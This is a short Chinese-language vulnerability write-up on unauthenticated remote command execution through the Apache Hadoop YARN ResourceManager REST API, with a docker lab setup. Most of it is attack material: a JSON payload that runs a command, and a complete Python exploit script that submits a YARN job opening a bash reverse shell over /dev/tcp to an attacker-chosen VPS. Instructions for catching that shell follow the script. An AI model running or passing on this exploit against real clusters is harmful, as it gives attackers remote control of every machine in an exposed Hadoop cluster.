一、漏洞描述
Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)
漏洞产生原因
负责对资源进行同一管理调度的
ReasourceManager
组件的UI管理界面开放在
8080/8088
端口,攻击者无需认证即可通过
REST API
部署任务来执行任意命令,最终可完全控制集群中所有的机器
二、环境搭建
cd vulhub/hadoop/unauthorized-yarn
启动环境
docker-compose up -d
访问
8088
端口
三、漏洞复现
首先访问(
POST
请求)
/ws/v1/cluster/apps/new-application
获取
application-id
获取到
application-id
之后,我们访问
/ws/v1/cluster/apps
页面,并且构造
Payload
{"application-id":"application_1659336607746_0001","application-name":"getshell","am-container-spec":{"commands":{"command":"ping -c 3 test.clw7xm.dnslog.cn"}},"application-type":"YARN"}
修改
application-id
的值和你要执行的命令
command
漏洞利用成功
四、Exp脚本
# coding:utf-8import requests
defshell(url,vps_ip,port):
headers ={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'}
response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)id= response.json()["application-id"]
data ={'application-id':id,'application-name':'getshell','am-container-spec':{'commands':{'command':'/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)},},'application-type':'YARN'}
exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)print("[+] 执行完成!")if __name__ =='__main__':
url =input("url:")
vps_ip =input("vps:")
port =input("port:")
shell(url,vps_ip,port)
在
vps
上监听一个端口
使用脚本反弹
shell
利用成功,成功反弹
Shell
版权归原作者 MrHatSec 所有, 如有侵权,请联系我们删除。